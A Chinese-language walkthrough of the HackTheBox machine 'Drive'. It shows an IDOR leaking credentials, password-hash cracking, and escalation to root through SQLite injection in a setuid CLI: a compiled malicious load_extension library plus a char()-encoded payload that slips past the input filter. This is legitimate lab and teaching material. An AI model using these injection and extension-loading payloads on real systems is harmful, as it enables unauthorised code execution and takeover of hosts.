靶场渗透遇到问题的时候,很难分辨究竟是自己方向对了没有尽力,还是攻击的方向错了。生活也是一样的吧。

扫描探测

使用nmap进行端口扫描:

$nmap -n --min-rate 5000 -T4 10.129.27.104
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-09 08:15 CDT
Warning: 10.129.27.104 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.129.27.104
Host is up (0.24s latency).
Not shown: 985 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
515/tcp filtered printer
544/tcp filtered kshell
616/tcp filtered sco-sysmgr
667/tcp filtered disclose
1138/tcp filtered encrypted_admin
1296/tcp filtered dproxy
1863/tcp filtered msnp
3000/tcp filtered ppp
3998/tcp filtered dnx
6901/tcp filtered jetstream
7200/tcp filtered fodms
8652/tcp filtered unknown
9503/tcp filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 2.27 seconds

目标开放了22和80端口。

80端口

直接访问80端口会跳转到drive.htb,在BurpSuite中添加域名解析。

打开首页会有注册和登录页面。

注册页面的http://drive.htb/static/bootstrap/js/jqurey.js加载慢得离谱。。。

HTB服务器切换到欧洲之后就OK了。

http://drive.htb/100/getFileDetail/
如下FileID响应包为未授权:79、98、99、101

http://drive.htb/79/block/
访问该URL可以查看到隐藏的管理员笔记:

I have created a user for martin on the server to make the workflow easier for you please use the password "Xk4@KjyrYv8t194L!".

martin@drive

登录之后没有找到user的flag,使用linpeas脚本进行系统信息收集。

/usr/local/bin/gitea web --config /etc/gitea/app.ini


══════════╣ Active Ports
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::3000 :::* LISTEN -

╔══════════╣ Users with console
cris:x:1002:1002:Cris Disel,,,:/home/cris:/bin/bash
git:x:115:119:Git Version Control,,,:/home/git:/bin/bash
martin:x:1001:1001:martin cruz,,,:/home/martin:/bin/bash
root:x:0:0:root:/root:/bin/bash
tom:x:1003:1003:Tom Hands,,,:/home/tom:/bin/bash


/var/www/backups/db.sqlite3

══════════╣ Unexpected in /opt (usually empty)
total 16
drwxr-xr-x 2 root root 4096 Sep 6 2023 .
drwxr-xr-x 18 root root 4096 Sep 6 2023 ..
-r-x------ 1 www-data www-data 187 Feb 11 2023 nginx-log-size-handler.sh
-r-x------ 1 www-data www-data 3834 Feb 8 2023 server-health-check.sh

╔══════════╣ Files inside others home (limit 20)
/var/www/backups/1_Nov_db_backup.sqlite3.7z
/var/www/backups/1_Sep_db_backup.sqlite3.7z
/var/www/backups/db.sqlite3
/var/www/backups/1_Oct_db_backup.sqlite3.7z
/var/www/backups/1_Dec_db_backup.sqlite3.7z

回过去看101的内容,发现有备份计划:

db.sqlite3文件里用户表信息为:

password	last_login	is_superuser	username	first_name	last_name	email
sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a 2022-12-26 05:48:27.497873 0 jamesMason jamesMason@drive.htb
sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f 2022-12-24 12:55:10 0 martinCruz martin@drive.htb
sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004 2022-12-24 13:17:45 0 tomHands tom@drive.htb
sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f 2022-12-24 16:51:53 0 crisDisel cris@drive.htb
sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3 2022-12-26 05:43:40.388717 1 admin admin@drive.htb

使用chisel反向代理服务器,访问3000端口的Gitea服务,以martin登录,得到备份文件压缩密码是:H@ckThisP@ssW0rDIfY0uC@n:)

查看仓库变更记录,对密码加密方式进行了多轮修改:

使用hashcat破解密码(而不是john),不同数据库中tomHands的密码是:

sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a:johnmayer7
sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004:john316

使用用户名tom和密码johnmayer7可以本地切换至tom用户。

tom@drive

tom用户可以查看用户权限的flag。

用户目录存在特权文件,和配套的使用说明。

-rwSr-x--- 1 root tom  867K Sep 13  2023 doodleGrive-cli

tom@drive:~$ cat README.txt
Hi team
after the great success of DoodleGrive, we are planning now to start working on our new project: "DoodleGrive self hosted",it will allow our customers to deploy their own documents sharing platform privately on thier servers...
However in addition with the "new self Hosted release" there should be a tool(doodleGrive-cli) to help the IT team in monitoring server status and fix errors that may happen.
As we mentioned in the last meeting the tool still in the development phase and we should test it properly...
We sent the username and the password in the email for every user to help us in testing the tool and make it better.
If you face any problem, please report it to the development team.
Best regards.

查看文件的字符串信息可以得到登录用户和密码,运行文件:

tom@drive:~$ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
moriarty
Enter password for moriarty:
findMeIfY0uC@nMr.Holmz!
Welcome...!

doodleGrive cli beta-2.2:
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option:

使用Ghidra反编译,能够有用户输入的功能函数只有activate_user_account,其反编译代码如下:

void activate_user_account(void)

{
size_t sVar1;
long in_FS_OFFSET;
char local_148 [48];
char local_118 [264];
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter username to activate account: ");
fgets(local_148,0x28,(FILE *)stdin);
sVar1 = strcspn(local_148,"\n");
local_148[sVar1] = '\0';
if (local_148[0] == '\0') {
puts("Error: Username cannot be empty.");
}
else {
sanitize_string(local_148);
snprintf(local_118,0xfa,
"/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \'UPDATE accounts_customuser SET is_active=1 WHERE username=\"%s\";\'"
,local_148);
printf("Activating account for user \'%s\'...\n",local_148);
system(local_118);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}

有两个注意点:

  1. sanitize_string函数对输入用户名参数进行过滤,黑名单字符为"\\{/| '\n\0",可能还有;(我没仔细看反编译代码)。
  2. username参数的长度限制是40个字符(0x28)

起初我考虑能否实现系统命令的注入,前提是闭合-line参数里的',由于过滤了\',这一步做不到(🤔)。所以无法实现系统层面的命令注入。

PayloadsAllTheThings/SQL Injection/SQLite Injection.md里介绍了许多SQLite数据库攻击手法,解决靶场使用的是load_extension这一个技巧。结合payload长度的限制,这可能是唯一的解法。

SQLite load_extension

解题过程中使用到了如下SQLite官方手册页面:

在命令行模式下,使用.dbconfig查看数据库是否支持加载扩展程序,load_extension on表示支持,官方手册说默认情况下该项是关闭的(🤔我实际看好像并不是)。

sqlite> .dbconfig
defensive on
dqs_ddl on
dqs_dml on
enable_fkey off
enable_qpsg off
enable_trigger on
enable_view on
fts3_tokenizer on
legacy_alter_table off
legacy_file_format off
load_extension on
no_ckpt_on_close off
reset_database off
reverse_scanorder off
stmt_scanstatus off
trigger_eqp off
trusted_schema off
writable_schema off
sqlite>

tom@drive:~$ sqlite3 /dev/null
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> SELECT sqlite_compileoption_used('ENABLE_LOAD_EXTENSION');
1
sqlite>

根据上面链接的脚手架代码,可以简单编写出一个恶意代码:

代码只做了两处简单修改,见红框处:

  1. 增加了标准库的引用,避免编译时报错;
  2. 使用system命令查看root文件,这里需要注意的是命令参数需要使用绝对路径,例如使用/usr/bin/cat而不是cat

编译成so文件:gcc -g -fPIC -shared evil.c -o evil.so

命令行模式下使用.load加载:

kali@kali ~/D/H/M/D/sqlite_load_extension> sqlite3
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .load evil
Error: evil.so: cannot open shared object file: No such file or directory
sqlite> .load ./evil
kali
sqlite> .load ./evil
kali
sqlite> .q

上述命令记录,可以看出加载扩展时需要指定路径(绝对路径或相对路径),使用strace对没有指定路径时的查找路径进行查看,记录如下:

close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/glibc-hwcaps/x86-64-v3/evil", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/lib/x86_64-linux-gnu/glibc-hwcaps/x86-64-v3", 0x7ffd0d87a750, 0) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/glibc-hwcaps/x86-64-v2/evil", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/lib/x86_64-linux-gnu/glibc-hwcaps/x86-64-v2", 0x7ffd0d87a750, 0) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/evil", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/lib/x86_64-linux-gnu", {st_mode=S_IFDIR|0755, st_size=143360, ...}, 0) = 0
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/glibc-hwcaps/x86-64-v3/evil", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/glibc-hwcaps/x86-64-v3", 0x7ffd0d87a750, 0) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/glibc-hwcaps/x86-64-v2/evil", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/glibc-hwcaps/x86-64-v2", 0x7ffd0d87a750, 0) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/evil", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu", {st_mode=S_IFDIR|0755, st_size=143360, ...}, 0) = 0
openat(AT_FDCWD, "/lib/glibc-hwcaps/x86-64-v3/evil", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/lib/glibc-hwcaps/x86-64-v3", 0x7ffd0d87a750, 0) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/glibc-hwcaps/x86-64-v2/evil", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/lib/glibc-hwcaps/x86-64-v2", 0x7ffd0d87a750, 0) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/evil", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/lib", {st_mode=S_IFDIR|0755, st_size=12288, ...}, 0) = 0
openat(AT_FDCWD, "/usr/lib/glibc-hwcaps/x86-64-v3/evil", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/usr/lib/glibc-hwcaps/x86-64-v3", 0x7ffd0d87a750, 0) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/glibc-hwcaps/x86-64-v2/evil", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/usr/lib/glibc-hwcaps/x86-64-v2", 0x7ffd0d87a750, 0) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/evil", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/usr/lib", {st_mode=S_IFDIR|0755, st_size=12288, ...}, 0) = 0
munmap(0x7fbb3a09f000, 106931) = 0
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=106931, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 106931, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fbb3a09f000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/evil.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/evil.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/evil.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/evil.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
munmap(0x7fbb3a09f000, 106931) = 0
write(2, "Error: evil.so: cannot open shar"..., 74Error: evil.so: cannot open shared object file: No such file or directory
) = 74

为了绕过sanitize_string函数对/的过滤,可以使用unhexchar函数将16进制或者10进制数转换成字符串:

kali@kali ~/D/H/M/D/sqlite_load_extension> sqlite3
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> select unhex('2E2F61');
./a
sqlite> select char(46,47,97);
./a
sqlite>

其中靶场环境里面SQLite版本低,不支持unhex函数,只能使用char函数。

Opposite of HEX() in SQLite?中,介绍了使用X'43F4124307108902B7A919F4D4D0770D'来实现hex解码的技巧,但必须要用单引号而单引号被过滤了,因此也无法使用。

sqlite> select X'2E2F61';
./a
sqlite> select X"2E2F61"
...> ;
Parse error: no such column: X
select X"2E2F61" ;
^--- error here
sqlite>

最终构造的payload是"+load_extension(char(46,47,97))+"

一次性传入多个参数的技巧

在本地运行doodleGrive-cli程序过程中,每次都需要输入用户名和密码,很繁琐。

可使用如下方式快速传递参数:
printf 'moriarty\nfindMeIfY0uC@nMr.Holmz!\n5\naaa"\x01\n6\n' | ./doodleGrive-cli